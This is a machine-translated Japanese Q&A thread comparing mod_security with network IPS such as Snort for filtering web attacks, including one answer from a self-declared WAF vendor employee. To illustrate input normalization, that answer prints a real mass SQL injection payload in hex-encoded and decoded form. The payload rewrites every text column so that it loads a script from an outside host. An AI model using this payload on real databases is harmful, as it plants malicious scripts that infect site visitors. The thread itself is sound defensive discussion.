web-dev-qa-db-ja.com

mod_securityの代わりにIPSを使用する

Webインフラストラクチャへの追加としてmod_securityの展開を検討しています。しかし、これらのサーバーは多くのヒットを取得しているため、負荷の増加が心配です。 Webサーバーとロードバランサーの間でSnortなどのIPSを使用することを検討しています。

Snortのエンタープライズサブスクリプションには、SQLインジェクション、パスインジェクション、コマンドインジェクション、XSS、%00、CMSに対する一般的な攻撃などのWeb攻撃をフィルタリングするためのさまざまなルールが含まれていますか?いくつかの包括的なmod_secルールセットがあります。 webappsecはSnortに適していますか、それとも従来のエクスプロイトに適していますか?

TLDR:mod_securityの機能を外部システムまたはWebアプリケーションファイアウォールアプライアンスにオフロードしたい。 Snortが答えでない場合、何ですか?

2
user974896

Mod_securityのようなWebアプリケーションファイアウォールは、SnortのようなネットワークベースのIDSよりも効果的である可能性があります。これは、WebファイアウォールがWebサーバーで処理されるのとまったく同じようにリクエストを確認でき、ネットワークベースのIDSはできないためです。

Snortのようなネットワークベースのシステムは、ネットワークパケットしか見ることができません。彼らは、ウェブサーバーがそれらをどのように解釈するかを推測/推測する必要があります。これにより、回避攻撃(攻撃を隠す方法)の可能性が追加されます。 mod_securityが回避攻撃に対して完璧または無防備であると言っているわけではありません。回避攻撃がSnortのようなネットワークベースのソリューションにさらに大きな課題をもたらすだけです。

ネットワークベースのソリューションの利点は、場合によっては展開が容易になることです。ウェブサーバーがたくさんある場合は、ネットワークベースのIDSをネットワークのチョークポイントに固定することができ、背後にあるすべてのウェブサーバーを保護します。それぞれにmod_securityをインストールして設定する必要はありません。

とはいえ、これらのアプローチはいずれも強力なセキュリティを提供しません。これらは一時的な手段であり、レガシーシステムのセキュリティ問題を緩和する方法ですが、それらは打ち負かされる可能性があり、多くの欠点があります。オプションがある場合は、最初からソフトウェア(Webアプリケーションなど)にセキュリティを組み込むことをお勧めします。 ITの人々は、IDS、IPS、およびWebファイアウォールのアイデアが大好きです。なぜなら、それらは展開がより簡単だからです。しかし、それらの利点はしばしば売られ過ぎだと思います。 IDS、IPS、またはWebファイアウォールを使用して、脆弱なソフトウェアを実際に緩和しようとすると、壊れやすく、障害が発生しやすくなります。

8
D.W.

SnortのようなIPSは、HTTP、DNS、FTP、SMTPなどの一般的に使用されるインターネットプロトコルを保護するためのジェネラリストです。

WAFは、HTTPを保​​護するための専門家であることになっています。

SQLi、XSSのようなインジェクション攻撃を開始点として取るだけです。

Mod_securityの署名の一部またはすべてを取得して、snortの同等の署名を作成することができます。ただし、IPS製品は、[難読化された攻撃] [1]の正規化レベルが同じではないため、簡単に回避できます。BarracudaなどのWAFは、署名を適用する前にWebベースの入力を正規化します、これにより、hex/URL/UTF-8/Unicodeエンコーディング、SQLコメントなどの使用が回避されます。

の場合、いつかこの大量のSQLインジェクションがMS SQLをターゲットとしたインターネットでラウンドを行っていました:

DECLARE @S VARCHAR(4000);SET @S=CAST(0x4445434C41
    ....[more hex code]
    26C655F437572736F7220 AS VARCHAR(4000));EXEC(@S);--

WAFは最初に次の内容を正規化することになっています。

DECLARE @T VARCHAR(255),@C VARCHAR(255)

        DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM 
        sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' 
        AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)

        OPEN Table_Cursor

        FETCH NEXT FROM Table_Cursor INTO @T,@C

        WHILE(@@FETCH_STATUS=0)
            BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=
            RTRIM(CONVERT(VARCHAR(4000),['+@C+']))
            +''<script src=http://www.adwbnr.com/b.js>
            </script>''')
            FETCH NEXT FROM Table_Cursor INTO @T,@C
        END

        CLOSE Table_Cursor

        DEALLOCATE Table_Cursor

そして、SQLチェックを適用してこれらをブロックします。

SnortのようなIPSは通常、そのような攻撃に対して「ゼロデイ」保護を提供せず、Asproxボットネット固有のシグネチャなどのような攻撃に対して反応的に特定のシグネチャを提供します。これらは、新しいゼロデイ脆弱性に対しては効果的ではありません。

次に、複数の入力パラメータ(?a = SEL&a = ECTの連結値などの検査が含まれるため、IPSは防御しないHTTPパラメータ汚染などの新しい形式の攻撃があります。 )。

これは単なるインジェクション攻撃に関するメモです。他の多くの攻撃があり、ほとんどのIPS製品には存在しないHTTPプロトコルの深い理解が必要です。セッションの乗馬、CSRF、Cookieポイズニング、Cookieの再生、などをいくつか挙げます。

高レベルの概要については、 this ホワイトペーパーを参照することもできます。

免責事項:私はWAFベンダーであるバラクーダネットワークスで働いています。

5
Neeraj

はい、appsecに関しては、仮想WAFはほとんど同じです。そして、あなたが正しく指摘しているように、彼らは彼らが保護している物理的または仮想的なサーバーにとらわれていません。彼らが知る必要があるのは、WebサーバーのIP /ポートだけです。

明らかに、仮想WAFの場合、パフォーマンスは基盤となるハードウェアに依存するだけでなく、VLANのようなレイヤー2〜3のものはホストで追加の構成が必要になります。質問に答えられない場合は、バラクーダのPMチームに連絡するよう依頼してください。

1
Neeraj